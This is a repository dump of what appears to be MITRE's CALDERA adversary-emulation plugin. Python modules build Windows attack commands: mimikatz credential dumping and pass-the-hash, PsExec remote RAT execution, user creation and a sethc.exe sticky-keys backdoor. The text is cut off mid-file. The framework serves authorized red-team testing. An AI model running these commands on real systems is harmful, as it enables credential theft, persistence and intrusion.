├── .gitignore ├── LICENSE ├── LICENSE-3RD-PARTY ├── NOTICE ├── README.md ├── app ├── adversary │ ├── __init__.py │ ├── adversary.py │ └── word_lists.py ├── attack.py ├── authentication.py ├── commands │ ├── __init__.py │ ├── at.py │ ├── cmd.py │ ├── command.py │ ├── errors.py │ ├── footprint.py │ ├── makecab.py │ ├── mimikatz.py │ ├── nbtstat.py │ ├── net.py │ ├── netstat.py │ ├── parsers.py │ ├── powershell.py │ ├── psexec.py │ ├── reg.py │ ├── runas.py │ ├── sc.py │ ├── schtasks.py │ ├── static.py │ ├── systeminfo.py │ ├── taskkill.py │ ├── tasklist.py │ ├── test.py │ ├── winrm.py │ ├── wmic.py │ └── xcopy.py ├── config.py ├── database │ ├── __init__.py │ ├── dao.py │ ├── model.py │ └── mongo.py ├── engine │ ├── __init__.py │ ├── database.py │ └── objects.py ├── event_logging.py ├── extern.py ├── interface.py ├── logic │ ├── __init__.py │ ├── clips_logic.py │ ├── landmark.py │ ├── logic.py │ ├── planner.py │ └── pydatalog_logic.py ├── operation │ ├── __init__.py │ ├── cleanup.py │ ├── operation.py │ ├── operation_errors.py │ ├── operation_obj.py │ ├── operation_script.py │ └── step.py ├── powershell.py ├── service │ ├── __init__.py │ ├── adversary_api.py │ ├── api_logic.py │ ├── background.py │ └── explode.py ├── simulate │ ├── __init__.py │ ├── generate.py │ ├── lists │ │ ├── animals │ │ ├── dist.list.female │ │ ├── dist.list.male │ │ └── greek.alphabet │ ├── sim.py │ ├── simulate.py │ ├── wordlist.py │ └── world.py ├── steps │ ├── AC_bypass.py │ ├── __init__.py │ ├── adduser.py │ ├── associationabuse.py │ ├── copy.py │ ├── credentials.py │ ├── dirlistcollection.py │ ├── exfiladversaryprofile.py │ ├── getadmin.py │ ├── getcomputers.py │ ├── getdomain.py │ ├── getlocalprofiles.py │ ├── getperipheraldeviceslocal.py │ ├── getprivescsvcinfo.py │ ├── hklmrunkeypersist.py │ ├── hkurunkeypersist.py │ ├── logonpersistence.py │ ├── nettime.py │ ├── netuse.py │ ├── networkconnections.py │ ├── passthehashcopy.py │ ├── passthehashsc.py │ ├── psexecmove.py │ ├── removenetshare.py │ ├── schtasks.py │ ├── schtaskspersist.py │ ├── scpersist.py │ ├── servicemanipulatebinpathsclocal.py │ ├── servicemanipulatefilesclocal.py │ ├── servicemanipulateunquotedlocal.py │ ├── shortcutmodify.py │ ├── systeminfolocal.py │ ├── systeminforemote.py │ ├── tasklistlocal.py │ ├── tasklistremote.py │ ├── timestomp.py │ ├── windowsremotemanagement.py │ ├── wmiremoteprocesscreate.py │ └── xcopy.py ├── util.py └── utility │ ├── __init__.py │ ├── general.py │ ├── op_control.py │ └── simulation.py ├── conf ├── adversary.sql ├── adversary_profiles.default ├── artifact_lists.default ├── atomic_attack_navigator_coverage.json ├── attack_download.json ├── cert.pem ├── config.ini ├── key.pem └── simulation.json ├── hook.py ├── payloads ├── CraterMain.dll ├── CraterMain.exe ├── bypassRAT.hex ├── bypassTAR.hex ├── cagent.exe ├── footprint-ps1 ├── invoke-mimi-ps1 ├── invoke-reflectivepe-ps1 ├── logon.hex ├── mimi32-dll ├── mimi32-exe ├── mimi64-dll ├── mimi64-exe ├── powerup-ps1 ├── powerview-ps1 └── timestomper-ps1 ├── requirements.txt ├── static ├── css │ ├── basic.css │ └── modal.css ├── img │ ├── add_task.png │ ├── cancel.png │ ├── depth.png │ ├── glass.png │ ├── hacker.png │ ├── hosts.png │ ├── lock.png │ ├── pause.png │ ├── play.png │ ├── refresh.png │ └── tools.png ├── js-cookie │ └── js.cookie.js └── js │ ├── basic.js │ ├── d3.v2.js │ ├── fdg.js │ ├── operation.js │ └── tabs.js ├── templates ├── Install-Cagent.ps1 ├── adversary.html └── settings.html └── tests └── test_adversary_api.py /.gitignore: -------------------------------------------------------------------------------- 1 | *.egg-info 2 | *.pyc 3 | *.swp 4 | *.crt 5 | *.exe 6 | *.dll 7 | !payloads/cagent.exe 8 | !payloads/CraterMain.exe 9 | !payloads/CraterMain.dll 10 | *.pyd 11 | *.DS_Store 12 | *.spec 13 | *.pstat 14 | *.tokens 15 | ps.hex 16 | *__pycache__* 17 | venv 18 | dist 19 | build 20 | /docs/_build 21 | /caldera/static/docs/* 22 | !/caldera/static/docs/.gitkeep 23 | /introvirts/* 24 | /extrovirts/* 25 | /caldera/app/steps/user-steps/* 26 | .env 27 | .idea/* 28 | .logs/* 29 | !.logs/.gitkeep 30 | -------------------------------------------------------------------------------- /NOTICE: -------------------------------------------------------------------------------- 1 | This project contains content developed by The MITRE Corporation. If this code is used in a deployment or 2 | embedded within another project, it is requested that you send an email to opensource@mitre.org 3 | in order to let us know where this software is being used. 4 | 5 | NOTICE 6 | 7 | This software was produced for the U. S. Government 8 | under Basic Contract No. W15P7T-13-C-A802, and is 9 | subject to the Rights in Noncommercial Computer Software 10 | and Noncommercial Computer Software Documentation 11 | Clause 252.227-7014 (FEB 2012) 12 | 13 | CALDERA 14 | Copyright 2017 The MITRE Corporation 15 | 16 | Licensed under the Apache License, Version 2.0 (the "License"); 17 | you may not use this file except in compliance with the License. 18 | You may obtain a copy of the License at 19 | 20 | http://www.apache.org/licenses/LICENSE-2.0 21 | 22 | Unless required by applicable law or agreed to in writing, software 23 | distributed under the License is distributed on an "AS IS" BASIS, 24 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 25 | See the License for the specific language governing permissions and 26 | limitations under the License. 27 | 28 | This project makes use of ATT&CK™ 29 | ATT&CK is Copyright 2017 The MITRE Corporation 30 | The MITRE Corporation (MITRE) hereby grants you a non-exclusive, royalty-free license to use Adversarial Tactics, 31 | Techniques and Common Knowledge (ATT&CK™) for research, development, and commercial purposes. 32 | Any copy you make for such purposes is authorized provided that you reproduce MITRE's copyright 33 | designation and this license in any such copy. 34 | 35 | Many libraries are used within this software and where appropriate their respective licenses apply. See 'LICENSE-3RD-PARTY'. 36 | 37 | - Mimikatz - Benjamin DELPY - [CC BY 4.0 licence](https://creativecommons.org/licenses/by/4.0/) - unmodified 38 | - MemoryModule - Joachim Bauch - [Mozilla Public License Version 2.0](https://www.mozilla.org/en-US/MPL/2.0/) - unmodified 39 | - PowerSploit - Matthew Graeber - [BSD 3](https://github.com/PowerShellMafia/PowerSploit/blob/master/LICENSE) 40 | - PyYAML - Kirill Simonov - [MIT](https://opensource.org/licenses/MIT) 41 | - d3.js - Mike Bostock - [BSD](https://github.com/d3/d3/blob/master/LICENSE) 42 | - jQuery - jQuery Foundation and other contributors - [MIT](https://github.com/jquery/jquery/blob/master/LICENSE.txt) 43 | - lodash - jQuery Foundation and other contributors - [MIT](https://raw.githubusercontent.com/lodash/lodash/4.15.0/LICENSE) 44 | - Python - Python Software Foundation - [Python License Version 2](https://github.com/python/cpython/blob/master/LICENSE) - Changes made to the subprocess module 45 | - ACE - Ajax.org B.V. - [BSD](https://github.com/ajaxorg/ace/blob/master/LICENSE) 46 | - Empire - Will Schroeder, Justin Warner, Matt Nelson, Steve Borosh, Alex Rymdeko-harvey, Chris Ross [BSD](https://github.com/EmpireProject/Empire) 47 | - js-cookie.js - Copyright (c) 2018 Copyright 2018 Klaus Hartl, Fagner Brack, GitHub Contributors - [MIT](https://github.com/js-cookie/js-cookie) 48 | - raphael - Copyright (c) 2008-2010 Dmitry Baranovskiy - MIT 49 | 50 | -------------------------------------------------------------------------------- /app/adversary/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mitre/adversary/ae9e349535c281c755ab6fbbf5b1409119262c0c/app/adversary/__init__.py -------------------------------------------------------------------------------- /app/adversary/adversary.py: -------------------------------------------------------------------------------- 1 | # word_lists containing adversary used words pulled from threat intelligence reports. 2 | # Using generic python lists for now 3 | 4 | import random 5 | from collections import defaultdict 6 | from plugins.adversary.app.engine.objects import Adversary 7 | 8 | 9 | class AdversaryProfile(object): 10 | def __init__(self, adversary: Adversary): 11 | self._default_artifact_list = {'executables': ["commander.exe"], 12 | 'dlls': ["commander.dll"], 13 | 'services': ["caldera"], 14 | 'schtasks': ["caldera4eva"], 15 | 'file_paths': ["\\"], 16 | 'targets': ['password', 'admin']} 17 | self._default_exfil_method = {'method': 'rawtcp', 18 | 'address': '127.0.0.1', 19 | 'port': '8889'} 20 | 21 | # populate the adversary artifactlists if needed 22 | if len(adversary.artifactlists): 23 | self._artifact_list = defaultdict(set) 24 | for artifact_list in adversary.artifactlists: 25 | for k in self._default_artifact_list: 26 | self._artifact_list[k] |= set(getattr(artifact_list, k)) 27 | else: 28 | self._artifact_list = self._default_artifact_list 29 | 30 | for k, v in self._artifact_list.items(): 31 | self._artifact_list[k] = list(v) 32 | 33 | # populate the adversary exfil method if needed 34 | if adversary.exfil_method != "": 35 | self._exfil_method = {'method': adversary.exfil_method, 36 | 'address': adversary.exfil_address, 37 | 'port': adversary.exfil_port} 38 | else: 39 | self._exfil_method = self._default_exfil_method 40 | 41 | def get_executable_word(self): 42 | return random.choice([self._artifact_list.get('executables') if len(self._artifact_list.get('executables')) > 0 else ["totallyinnocent.exe"]][0]) 43 | 44 | def get_dll_word(self): 45 | return random.choice([self._artifact_list.get('dlls') if len(self._artifact_list.get('dlls')) > 0 else ["totallyinnocent.dll"]][0]) 46 | 47 | def get_service_word(self): 48 | return random.choice([self._artifact_list.get('services') if len(self._artifact_list.get('services')) > 0 else ["totallyinnocent.svc"]][0]) 49 | 50 | def get_scheduled_task_word(self): 51 | return random.choice([self._artifact_list.get('schtasks') if len(self._artifact_list.get('schtasks')) > 0 else ["totallyinnocent"]][0]) 52 | 53 | def get_file_path_word(self): 54 | return random.choice([self._artifact_list.get('file_paths') if len(self._artifact_list.get('file_paths')) > 0 else ["C:\\Windows\\"]][0]) 55 | 56 | def get_targets(self): 57 | return self._artifact_list['targets'] 58 | 59 | def get_exfil_method(self): 60 | return self._exfil_method['method'] 61 | 62 | def get_exfil_address(self): 63 | return self._exfil_method['address'] 64 | 65 | def get_exfil_port(self): 66 | return self._exfil_method['port'] 67 | -------------------------------------------------------------------------------- /app/adversary/word_lists.py: -------------------------------------------------------------------------------- 1 | # artifact_lists containing adversary used words pulled from threat intelligence reports. 2 | # Using generic python lists for now 3 | 4 | import random 5 | 6 | executables = ["doc.exe", "test.exe", "install.exe", "vmware_manager.exe", "csrs.exe", "hpinst.exe"] 7 | dlls = ["IePorxyv.dll", "msupd.dll", "ieupd.dll", "mgswizap.dll", "lsasrvi.dll", "iprpp.dll", "hello32.dll", 8 | "amdcache.dll"] 9 | services = ["myservice"] 10 | scheduled_tasks = ["mysc"] 11 | file_paths = ["C:\\"] 12 | 13 | 14 | def get_executable(): 15 | return random.choice(executables) 16 | 17 | 18 | def get_dll(): 19 | return random.choice(dlls) 20 | 21 | 22 | def get_service(): 23 | return random.choice(services) 24 | 25 | 26 | def get_scheduled_task(): 27 | return random.choice(scheduled_tasks) 28 | 29 | 30 | def get_file_path(): 31 | return random.choice(file_paths) 32 | -------------------------------------------------------------------------------- /app/authentication.py: -------------------------------------------------------------------------------- 1 | import binascii 2 | import os 3 | 4 | from plugins.adversary.app.engine.database import subjectify 5 | from plugins.adversary.app.engine.objects import SiteUser 6 | from plugins.adversary.app.util import tz_utcnow 7 | from cryptography.exceptions import InvalidKey 8 | from cryptography.hazmat.backends import default_backend 9 | from cryptography.hazmat.primitives import hashes 10 | from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC 11 | from itsdangerous import URLSafeTimedSerializer, BadSignature, SignatureExpired 12 | 13 | _backend = default_backend() 14 | 15 | max_age = 60*60*24*1 # good for 1 day 16 | 17 | 18 | class NotAuthorized(Exception): 19 | pass 20 | 21 | 22 | class Token(object): 23 | def __init__(self, session_blob, auth_key): 24 | self._blob = session_blob 25 | self.auth_key = auth_key 26 | 27 | if self._blob is None: 28 | raise NotAuthorized 29 | try: 30 | s = URLSafeTimedSerializer(self.auth_key) 31 | self.session_info = s.loads(self._blob, max_age=max_age) 32 | except (BadSignature, SignatureExpired, UnicodeDecodeError, binascii.Error): 33 | raise NotAuthorized 34 | 35 | def require_group(self, g): 36 | if g not in self.session_info['groups']: 37 | raise NotAuthorized() 38 | 39 | def in_group(self, g): 40 | return g in self.session_info['groups'] 41 | 42 | 43 | def login_generic(auth_key, groups, attrs) -> str: 44 | serializer = URLSafeTimedSerializer(auth_key) 45 | temp = attrs.copy() 46 | temp.update({'groups': groups}) 47 | return serializer.dumps(subjectify(temp)) 48 | 49 | 50 | def register_user(username, groups, email=None, password=None): 51 | salt, key = _create_hash(password.encode()) 52 | return SiteUser(username=username, password=key, salt=salt, groups=groups, email=email).save() 53 | 54 | 55 | def login_user(username, password) -> str: 56 | try: 57 | site_user = SiteUser.objects.get(username=username) 58 | except SiteUser.DoesNotExist: 59 | return False 60 | 61 | if not _verify(password.encode(), site_user.password, site_user.salt): 62 | return False 63 | site_user.update(last_login=tz_utcnow()) 64 | return True 65 | 66 | 67 | def username_exists(username: str): 68 | try: 69 | SiteUser.objects.get(username=username) 70 | return True 71 | except SiteUser.DoesNotExist: 72 | return False 73 | 74 | 75 | def _verify(glob, key, salt): 76 | kdf = PBKDF2HMAC(algorithm=hashes.SHA256(), length=32, salt=salt, iterations=100000, backend=_backend) 77 | try: 78 | kdf.verify(glob, key) 79 | return True 80 | except InvalidKey: 81 | return False 82 | 83 | 84 | def _create_hash(glob): 85 | salt = os.urandom(16) 86 | kdf = PBKDF2HMAC(algorithm=hashes.SHA256(), length=32, salt=salt, iterations=100000, backend=_backend) 87 | return salt, kdf.derive(glob) -------------------------------------------------------------------------------- /app/commands/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mitre/adversary/ae9e349535c281c755ab6fbbf5b1409119262c0c/app/commands/__init__.py -------------------------------------------------------------------------------- /app/commands/at.py: -------------------------------------------------------------------------------- 1 | from plugins.adversary.app.commands.command import CommandLine 2 | from typing import List 3 | 4 | 5 | def at(remote_host: str=None, args: List[str]=None) -> CommandLine: 6 | """ 7 | The net command is one of Windows' many swiss army knives. 8 | Args: 9 | remote_host: The host that is the target of the at command 10 | args: Additional command line arguments to net.exe 11 | """ 12 | 13 | command_line = ['at'] 14 | 15 | if remote_host: 16 | args.append('\\' + remote_host) 17 | 18 | if args: 19 | command_line += args 20 | 21 | return CommandLine(command_line) 22 | 23 | 24 | def enum(remote_host: str=None) -> CommandLine: 25 | """ 26 | :param remote_host: (Optional) The remote host on which to run the command 27 | """ 28 | return at(remote_host=remote_host) 29 | 30 | 31 | def create(time: str=None, command_line: str=None, remote_host: str=None) -> CommandLine: 32 | args = [] 33 | if time: 34 | args.append(time) 35 | 36 | args.append(command_line) 37 | return at(remote_host=remote_host, args=args) 38 | -------------------------------------------------------------------------------- /app/commands/command.py: -------------------------------------------------------------------------------- 1 | from typing import Union, List 2 | 3 | 4 | class CommandLine(object): 5 | """This represents a command line that can be executed. 6 | 7 | The actual string representing the command is stored in the variable ``command_line``. 8 | """ 9 | def __init__(self, command_line: Union[str, List[str]]=None): 10 | """Creates a CommandLine. 11 | 12 | Args: 13 | command_line: The commandline. Can be a string, in which case the string is used directly as the command, or 14 | a list of strings, in which case the list is join together with the space character to create the 15 | final command. 16 | """ 17 | 18 | if command_line and isinstance(command_line, list): 19 | command_line = ' '.join(command_line) 20 | self.command_line = command_line 21 | -------------------------------------------------------------------------------- /app/commands/errors.py: -------------------------------------------------------------------------------- 1 | class ParseError(Exception): 2 | """Represent a generic parsing error""" 3 | pass 4 | 5 | 6 | class NoFileError(Exception): 7 | """Represents an error caused by a file not being found""" 8 | pass 9 | 10 | 11 | class NoShareError(Exception): 12 | """Represents an error caused by a share not existing""" 13 | pass 14 | 15 | 16 | class AccessDeniedError(Exception): 17 | """Represents an error caused because access was denied""" 18 | pass 19 | 20 | 21 | class NoRegKeyError(Exception): 22 | """Represents an error caused because a registry key was missing""" 23 | pass 24 | 25 | 26 | class NoServiceError(Exception): 27 | """Represents an error caused because a service does not exist""" 28 | pass 29 | 30 | 31 | class NoProcessError(Exception): 32 | """Represents an error caused because a process does not exist""" 33 | pass 34 | 35 | 36 | class FileInUseError(Exception): 37 | """Represents an error caused because a file is currently in use""" 38 | pass 39 | 40 | 41 | class IncorrectParameterError(Exception): 42 | """Represents an error caused because a parameter was incorrect""" 43 | pass 44 | 45 | 46 | class UnresponsiveServiceError(Exception): 47 | """Represents an error caused because a service is unresponsive""" 48 | pass 49 | 50 | 51 | class ServiceNotStartedError(Exception): 52 | """Represents an error caused because a service is not started""" 53 | pass 54 | 55 | 56 | class ServiceAlreadyRunningError(Exception): 57 | """Represents an error caused because a service is already running""" 58 | pass 59 | 60 | 61 | class CantControlServiceError(Exception): 62 | """Represents an error caused because a service cannot be controlled""" 63 | pass 64 | 65 | 66 | class ParserNotImplementedError(Exception): 67 | """Represents an error caused because the parser does support it""" 68 | pass 69 | 70 | 71 | class NoNetworkPathError(Exception): 72 | """Represents an error caused because a network path does not exist""" 73 | pass 74 | 75 | 76 | class PathSyntaxError(Exception): 77 | """Represents an error caused because the syntax of a path is incorrect""" 78 | pass 79 | 80 | 81 | class AccountDisabledError(Exception): 82 | """Represents an error caused because an account is disabled""" 83 | pass 84 | 85 | 86 | class DomainIssueError(Exception): 87 | """Represents an error caused because there is a domain issue""" 88 | pass 89 | 90 | 91 | class AcquireLSAError(Exception): 92 | """Represents an error caused because the process could not acquire access to LSA""" 93 | pass 94 | 95 | 96 | class AVBlockError(Exception): 97 | """Represents an error caused because AntiVirus software blocked the action""" 98 | pass 99 | 100 | 101 | class AccountAlreadyExistsError(Exception): 102 | """Represents an error caused because the user account already exists""" 103 | pass 104 | -------------------------------------------------------------------------------- /app/commands/footprint.py: -------------------------------------------------------------------------------- 1 | from plugins.adversary.app.commands.command import CommandLine 2 | from typing import Callable, Tuple 3 | from plugins.adversary.app.commands import parsers 4 | 5 | 6 | def files() -> Tuple[CommandLine, Callable[[str], None]]: 7 | command = 'powershell -command "&{$filetype = @(\\"*.docx\\",\\"*.pdf\\",\\"*.xlsx\\"); $startdir = ' \ 8 | '\\"c:\\\\Users\\\\\\"; for($k=0;$k -lt $filetype.length; $k++){ $core = dir $startdir\($filetype[$k]) ' \ 9 | '-Recurse | Select @{Name=\\"Path\\";Expression={$_.Fullname -as [string]}}; foreach ($alpha in $core) ' \ 10 | '{$filename = $alpha.Path -as [string]; [Byte[]] $corrupt_file = [System.IO.File]::ReadAllBytes(' \ 11 | '$filename); [Byte[]] $key_file = [System.IO.File]::ReadAllBytes($(' \ 12 | '-join($filename, \\".old\\"))); for($i=0; $i -lt $key_file.Length; $i++) { $corrupt_file[$i] = ' \ 13 | '$key_file[$i];} [System.IO.File]::WriteAllBytes($(resolve-path $filename), $corrupt_file); ' \ 14 | 'Remove-Item $(-join($filename,\\".old\\"))}}}"' 15 | return CommandLine('cmd /c {}'.format(command)), parsers.footprint.recover_files 16 | 17 | 18 | def password(user: str, password: str) -> Tuple[CommandLine, Callable[[str], None]]: 19 | command = 'net user ' + user + ' ' + password 20 | return CommandLine('cmd /c {}'.format(command)), parsers.footprint.password 21 | -------------------------------------------------------------------------------- /app/commands/makecab.py: -------------------------------------------------------------------------------- 1 | from plugins.adversary.app.commands.command import CommandLine 2 | from typing import List 3 | 4 | 5 | def makecab(path: str=None, args: List[str]=None) -> CommandLine: 6 | """ 7 | Makes a cabinet file 8 | 9 | Args: 10 | path: path to the cabinet file 11 | args: Additional command line arguments to net.exe 12 | """ 13 | 14 | command_line = ['makecab'] 15 | 16 | command_line += " " + path 17 | 18 | if args: 19 | command_line += args 20 | 21 | return CommandLine(command_line) 22 | -------------------------------------------------------------------------------- /app/commands/mimikatz.py: -------------------------------------------------------------------------------- 1 | from plugins.adversary.app.commands.command import CommandLine 2 | from typing import Dict 3 | 4 | 5 | class MimikatzSubcommand(object): 6 | def __init__(self, argname: str, **kwargs: Dict[str, str]): 7 | items = [] 8 | for key, val in kwargs.items(): 9 | if " " in val: 10 | items.append('/{}:\\"{}\\"'.format(key, val)) 11 | else: 12 | items.append('/{}:{}'.format(key, val)) 13 | 14 | if items: 15 | self.text = '"{} {}"'.format(argname, " ".join(items)) 16 | else: 17 | self.text = argname 18 | 19 | 20 | class MimikatzCommand(object): 21 | def __init__(self, *args: MimikatzSubcommand) -> None: 22 | if '\\' in args[0].text: 23 | self.command = CommandLine(['cls'] + [x.text for x in args]) 24 | else: 25 | self.command = CommandLine([x.text for x in args]) 26 | 27 | 28 | def sekurlsa_pth(user, domain, ntlm, run) -> MimikatzSubcommand: 29 | return MimikatzSubcommand('sekurlsa::pth', user=user, domain=domain, ntlm=ntlm, run=run) 30 | 31 | 32 | def privilege_debug() -> MimikatzSubcommand: 33 | return MimikatzSubcommand('privilege::debug') 34 | 35 | 36 | def sekurlsa_logonpasswords() -> MimikatzSubcommand: 37 | return MimikatzSubcommand('sekurlsa::logonPasswords') 38 | 39 | 40 | def mimi_exit() -> MimikatzSubcommand: 41 | return MimikatzSubcommand('exit') 42 | -------------------------------------------------------------------------------- /app/commands/nbtstat.py: -------------------------------------------------------------------------------- 1 | from plugins.adversary.app.commands.command import CommandLine 2 | from typing import List, Callable, Tuple 3 | from plugins.adversary.app.commands import parsers 4 | 5 | 6 | def nbtstat(args: List[str]=None) -> CommandLine: 7 | """ 8 | The nbtstat command is one of Windows' many swiss army knives. 9 | 10 | Args: 11 | args: Additional command line arguments to nbtstat.exe 12 | 13 | Returns: 14 | The CommandLine 15 | """ 16 | 17 | command_line = ['nbtstat'] 18 | if args: 19 | command_line += args 20 | 21 | return CommandLine(command_line) 22 | 23 | 24 | def n() -> Tuple[CommandLine, Callable[[str], str]]: 25 | """ 26 | Create a call to nbtstat -n 27 | 28 | Returns: 29 | Returns the CommandLine and a parser for the Commandline 30 | """ 31 | return nbtstat(['-n']), parsers.nbtstat.n 32 | -------------------------------------------------------------------------------- /app/commands/net.py: -------------------------------------------------------------------------------- 1 | from plugins.adversary.app.commands.command import CommandLine 2 | from typing import List, Callable, Tuple 3 | from plugins.adversary.app.commands import parsers 4 | import datetime 5 | 6 | 7 | def net(args: List[str]=None) -> CommandLine: 8 | """ 9 | The net command is one of Windows' many swiss army knives. 10 | 11 | Args: 12 | args: Additional command line arguments to net.exe 13 | 14 | Returns: 15 | The CommandLine 16 | """ 17 | 18 | command_line = ['net'] 19 | if args: 20 | command_line += args 21 | 22 | return CommandLine(command_line) 23 | 24 | 25 | def use(remote_host: str, remote_share: str, device: str=None, remote_volume: str=None, user: str=None, 26 | user_domain: str=None, password: str=None) -> Tuple[CommandLine, Callable[[str], None]]: 27 | """ 28 | Net use will mount a network share on this host 29 | 30 | Args: 31 | device: The local drive letter that the share will be mapped to 32 | remote_host: The remote computer 33 | remote_share: The remote share 34 | remote_volume: (Optional) The remote volume 35 | user: (Optional) The remote credential to be used 36 | password: (Optional) The password to be used 37 | user_domain: The (Windows) domain of the user account 38 | 39 | Returns: 40 | The CommandLine and a parser 41 | """ 42 | args = ['use'] 43 | 44 | if device is not None: 45 | args.append(device) 46 | 47 | args.append('\\\\{}\\{}'.format(remote_host, remote_share)) 48 | 49 | if remote_volume is not None: 50 | args[1] += '\\' + remote_volume 51 | 52 | if user is not None: 53 | if password is not None: 54 | args.append(password) 55 | if user_domain is not None: 56 | args.append('/user:' + user_domain + '\\' + user) 57 | else: 58 | args.append('/user:' + user) 59 | 60 | return net(args=args), parsers.net.use 61 | 62 | 63 | def time(remote_host: str=None) -> Tuple[CommandLine, Callable[[str], datetime.datetime]]: 64 | """ 65 | Gets the time of a remote host 66 | 67 | Args: 68 | remote_host: The host that time will be checked on 69 | 70 | Returns: 71 | A CommandLine, and a parser for the command 72 | """ 73 | args = ['time'] 74 | 75 | if remote_host is not None: 76 | args.append('\\\\' + remote_host) 77 | 78 | return net(args=args), parsers.net.time 79 | 80 | 81 | def use_delete(remote_host: str, remote_share: str) -> Tuple[CommandLine, Callable[[str], None]]: 82 | """ 83 | Net use delete will unmount a network share on this host 84 | 85 | Args: 86 | remote_host: The remote computer 87 | remote_share: The remote share 88 | 89 | Returns: 90 | The CommandLine and a parser for the output of the command 91 | """ 92 | args = ['use', 93 | '\\\\{}\\{}'.format(remote_host, remote_share), 94 | '/delete'] 95 | 96 | return net(args=args), parsers.net.use_delete 97 | 98 | 99 | def user_add(user_acc: str, user_pw: str) -> Tuple[CommandLine, Callable[[str], None]]: 100 | """ 101 | Net user add 102 | 103 | Command : net user /add test TestPassword 104 | 105 | Completed: 106 | The command completed successfully. 107 | 108 | Denied: 109 | System error 5 has occurred. 110 | 111 | Access is denied. 112 | """ 113 | args = ['user', '/add', user_acc, user_pw, '/Y'] 114 | return net(args=args), parsers.net.user_add 115 | 116 | 117 | def user_delete(user_acc: str) -> Tuple[CommandLine, Callable[[str], None]]: 118 | """ 119 | Net user delete 120 | 121 | Command : net user /del test 122 | 123 | Completed: 124 | The command completed successfully. 125 | 126 | Denied: 127 | System error 5 has occurred. 128 | 129 | Access is denied. 130 | """ 131 | args = ['user', '/del', user_acc] 132 | return net(args=args), parsers.net.user_add 133 | -------------------------------------------------------------------------------- /app/commands/netstat.py: -------------------------------------------------------------------------------- 1 | from typing import List, Callable, Tuple 2 | 3 | from plugins.adversary.app.commands.command import CommandLine 4 | 5 | from . import parsers 6 | 7 | 8 | def netstat(args: List[str]=None) -> CommandLine: 9 | command_line = ['netstat'] 10 | if args: 11 | command_line += args 12 | 13 | return CommandLine(command_line) 14 | 15 | 16 | def ano() -> Tuple[CommandLine, Callable[[str], None]]: 17 | args = ['-ano'] 18 | return netstat(args=args), parsers.netstat.ano 19 | 20 | 21 | def anob() -> Tuple[CommandLine, Callable[[str], None]]: 22 | args = ['-anob'] 23 | return netstat(args=args), parsers.netstat.anob 24 | -------------------------------------------------------------------------------- /app/commands/powershell.py: -------------------------------------------------------------------------------- 1 | from plugins.adversary.app.commands.command import CommandLine 2 | from typing import Union, Callable 3 | 4 | 5 | def escape_string(text: str, escape_dollarsign=True): 6 | dquote = False 7 | if '`' in text: 8 | text = text.replace('`', '``') 9 | dquote = True 10 | if '#' in text: 11 | text = text.replace('#', '`#') 12 | dquote = True 13 | if "'" in text: 14 | text = text.replace("'", "`'") 15 | dquote = True 16 | if '"' in text: 17 | text = text.replace('"', '`"') 18 | dquote = True 19 | if '&' in text: 20 | text = text.replace('&', '`&') 21 | dquote = True 22 | if escape_dollarsign and '$' in text: 23 | text = text.replace('$', '`$') 24 | dquote = True 25 | 26 | if " " in text or dquote: 27 | return '"{}"'.format(text) 28 | else: 29 | return text 30 | 31 | 32 | class PSArg(object): 33 | def __init__(self, argname: str, argval: Union[str, CommandLine]=None, escape: Union[None, Callable]=escape_string): 34 | if isinstance(argval, CommandLine): 35 | argval = argval.command_line 36 | if argval and escape: 37 | argval = escape(argval) 38 | 39 | if argval is not None: 40 | self.text = "-{} {}".format(argname, argval) 41 | else: 42 | self.text = "-{}".format(argname) 43 | 44 | 45 | class PSFunction(object): 46 | def __init__(self, function_name: str, *args: PSArg) -> None: 47 | self.command = [function_name] 48 | 49 | for arg in args: 50 | self.command.append(arg.text) 51 | 52 | self.command = CommandLine(self.command) 53 | 54 | 55 | def escape_string_literally(text: str): 56 | text = text.replace("'", "''") 57 | return "'{}'".format(text) 58 | -------------------------------------------------------------------------------- /app/commands/psexec.py: -------------------------------------------------------------------------------- 1 | from plugins.adversary.app.commands.command import CommandLine 2 | from typing import Callable, Tuple 3 | from plugins.adversary.app.commands import parsers 4 | 5 | 6 | def copy(ps_file_path: str, rat_file_path: str, user_domain: str, username: str, password: str, target: str, 7 | elevated: bool = True) -> Tuple[CommandLine, Callable[[str], None]]: 8 | """Builds a commandline for PsExec to copy and execute a file remotely 9 | 10 | Args: 11 | ps_file_path: The path to the psexec binary 12 | rat_file_path: The path to the ratremote computer 13 | username: The username remote share 14 | user_domain: The (Windows) domain of the user account 15 | password: (Optional) The password to be used 16 | target: The target host to run the file on 17 | elevated: Allows the created process to be run in an elevated context 18 | Returns: 19 | The CommandLine and a parser 20 | """ 21 | args = [ps_file_path, "-accepteula", 22 | "-u", user_domain + "\\" + username, 23 | "-p", password, 24 | "-h" if elevated else '', 25 | "-d", "-cv", 26 | rat_file_path, "\\\\" + target] 27 | 28 | return CommandLine(args), parsers.psexec.copy 29 | -------------------------------------------------------------------------------- /app/commands/runas.py: -------------------------------------------------------------------------------- 1 | from plugins.adversary.app.commands.command import CommandLine 2 | from typing import List 3 | 4 | 5 | def runas(user: str, program: str, args: List[str]=None) -> CommandLine: 6 | """ 7 | The net command is one of Windows' many swiss army knives. 8 | 9 | :type context: ExecutionContext 10 | :param args: Additional command line arguments to net.exe 11 | :return: 12 | """ 13 | 14 | command_line = ['runas.exe'] 15 | if args: 16 | command_line += args 17 | 18 | return CommandLine(command_line) 19 | -------------------------------------------------------------------------------- /app/commands/static.py: -------------------------------------------------------------------------------- 1 | from plugins.adversary.app.commands.command import CommandLine 2 | from typing import Callable, Tuple 3 | from plugins.adversary.app.commands import parsers 4 | 5 | 6 | def accessFeatA(key_id: int) -> Tuple [CommandLine, Callable[[str], None]]: 7 | command_line = "cmd.exe /C \"takeown /f C:\\Windows\\System32\\sethc.exe && icacls " \ 8 | "C:\\Windows\\System32\\sethc.exe /grant administrators:f " \ 9 | "&& move C:\\Windows\\System32\\sethc.exe " \ 10 | "C:\\Windows\\System32\\sethc.exe." + str(key_id) + " && copy C:\\Windows\\System32\\cmd.exe " \ 11 | "C:\\Windows\\System32\\sethc.exe\"" 12 | return CommandLine(command_line), parsers.static.accessFeat 13 | 14 | 15 | def accessFeatB(key_id: int) -> Tuple [CommandLine, Callable[[str], None]]: 16 | command_line = "cmd.exe /C \"takeown /f C:\\Windows\\System32\\utilman.exe && 